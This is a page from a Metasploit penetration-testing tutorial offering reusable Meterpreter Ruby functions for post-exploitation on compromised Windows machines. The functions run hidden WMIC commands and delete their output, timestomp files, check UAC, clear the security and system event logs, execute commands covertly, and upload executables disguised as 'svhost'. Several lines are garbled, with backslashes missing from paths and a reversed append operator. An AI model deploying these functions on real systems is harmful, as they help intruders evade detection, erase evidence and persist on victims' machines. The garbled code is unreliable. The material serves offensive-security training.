Useful Functions a11y.text Useful Functions Meterpreter Scripting a11y.text Meterpreter Scripting

Letâ€™s look at a few other functions which could be useful in building a Meterpreter script. Feel free to reuse these as needed. Available WMIC Commands a11y.text Available WMIC Commands

```
#-------------------------------------------------------------------------------


def wmicexec(session,wmiccmds= nil)
        windr = ''
        tmpout = ''
        windrtmp = ""
        session.response_timeout=120
        begin
                tmp = session.fs.file.expand_path("%TEMP%")
                wmicfl = tmp + ""+ sprintf("%.5d",rand(100000))
                wmiccmds.each do |wmi|
                        print_status "running command wmic #{wmi}"
                        cmd = "cmd.exe /c %SYSTEMROOT%system32wbemwmic.exe"
                        opt = "/append:#{wmicfl} #{wmi}"
                        r = session.sys.process.execute( cmd, opt,{'Hidden' => true})
                        sleep(2)
                        #Making sure that wmic finnishes before executing next wmic command
                        prog2check = "wmic.exe"
                        found = 0
                        while found == 0
                                session.sys.process.get_processes().each do |x|
                                        found =1
                                        if prog2check == (x['name'].downcase)
```

```
                              sleep(0.5)
                                    print_line "."
                              found = 0
                         end
                    end
               end
               r.close
          end
          # Read the output file of the wmic commands
          wmioutfile = session.fs.file.new(wmicfl, "rb")
          until wmioutfile.eof?
               tmpout >> wmioutfile.read
          end
          wmioutfile.close
     rescue ::Exception => e
          print_status("Error running WMIC commands: #{e.class} #{e}")
     end
     # We delete the file with the wmic command output.
     c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true})
     c.close
     tmpout
end Change MAC Time of Files a11y.text Change MAC Time of Files
#-------------------------------------------------------------------------------


# The files have to be in %WinDir%System32 folder.
def chmace(session,cmds)
```

```
    windir = ''
    windrtmp = ""
    print_status("Changing Access Time, Modified Time and Created Time of Files Used")
    windir = session.fs.file.expand_path("%WinDir%")
    cmds.each do |c|
        begin
            session.core.use("priv")
            filetostomp = windir + "system32"+ c
            fl2clone = windir + "system32chkdsk.exe"
            print_status("tChanging file MACE attributes on #{filetostomp}")
            session.priv.fs.set_file_mace_from_file(filetostomp, fl2clone)

        rescue ::Exception => e
            print_status("Error changing MACE: #{e.class} #{e}")
        end
    end
end Check for UAC a11y.text Check for UAC
#-----------------------------------------------------------------------------

def checkuac(session)
    uac = false
    begin
        winversion = session.sys.config.sysinfo
        if winversion['OS']=~ /Windows Vista/ or  winversion['OS']=~ /Windows 7/
            print_status("Checking if UAC is enaled ...")
            key = 'HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem'
            root_key, base_key = session.sys.registry.splitkey(key)

            value = "EnableLUA"

            open_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)

            v = open_key.query_value(value)

            if v.data == 1

                uac = true

            else

                uac = false

            end

            open_key.close_key(key)

        end

    rescue ::Exception => e

        print_status("Error Checking UAC: #{e.class} #{e}")

    end

    return uac

end Clear All Event Logs a11y.text Clear All Event Logs

#-----------------------------------------------------------------------------


def clrevtlgs(session)

    evtlogs = [

        'security',

        'system',

        'application',

        'directory service',

        'dns server',

        'file replication service'
    ]
    print_status("Clearing Event Logs, this will leave and event 517")
    begin
        evtlogs.each do |evl|
            print_status("tClearing the #{evl} Event Log")
            log = session.sys.eventlog.open(evl)
            log.clear
        end
        print_status("Alll Event Logs have been cleared")
    rescue ::Exception => e
        print_status("Error clearing Event Log: #{e.class} #{e}")

    end
end Execute List of Commands a11y.text Execute List of Commands
#-------------------------------------------------------------------------------

def list_exec(session,cmdlst)
    if cmdlst.kind_of? String
        cmdlst = cmdlst.to_a
    end
    print_status("Running Command List ...")
    r=''
    session.response_timeout=120
    cmdlst.each do |cmd|
        begin
            print_status "trunning command #{cmd}"
            r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
            while(d = r.channel.read)

               print_status("t#{d}")
            end
            r.channel.close
            r.close
         rescue ::Exception => e
            print_error("Error Running Command #{cmd}: #{e.class} #{e}")
         end
   end
end Upload Files and Executables a11y.text Upload Files and Executables
#-----------------------------------------------------------------------------

def upload(session,file,trgloc = nil)
   if not ::File.exists?(file)
            raise "File to Upload does not exists!"
         else
         if trgloc == nil
         location = session.fs.file.expand_path("%TEMP%")
         else
            location = trgloc
         end
         begin
            if file =~ /S*(.exe)/i
                    fileontrgt = "#{location}svhost#{rand(100)}.exe"
```

```
      else
          fileontrgt = "#{location}TMP#{rand(100)}"
      end
      print_status("Uploadingd #{file}....")
      session.fs.file.upload_file("#{fileontrgt}","#{file}")
      print_status("#{file} uploaded!")
      print_status("#{fileontrgt}")
    rescue ::Exception => e
      print_status("Error uploading file #{file}: #{e.class} #{e}")
    end
  end
  return fileontrgt
end Write Data to File a11y.text Write Data to File #----------------------------------------------------


def filewrt(file2wrt, data2wrt)
    output = ::File.open(file2wrt, "a")
    data2wrt.each_line do |d|
        output.puts(d)
    end
    output.close
end Next Maintaining Access Prev Useful API Calls
```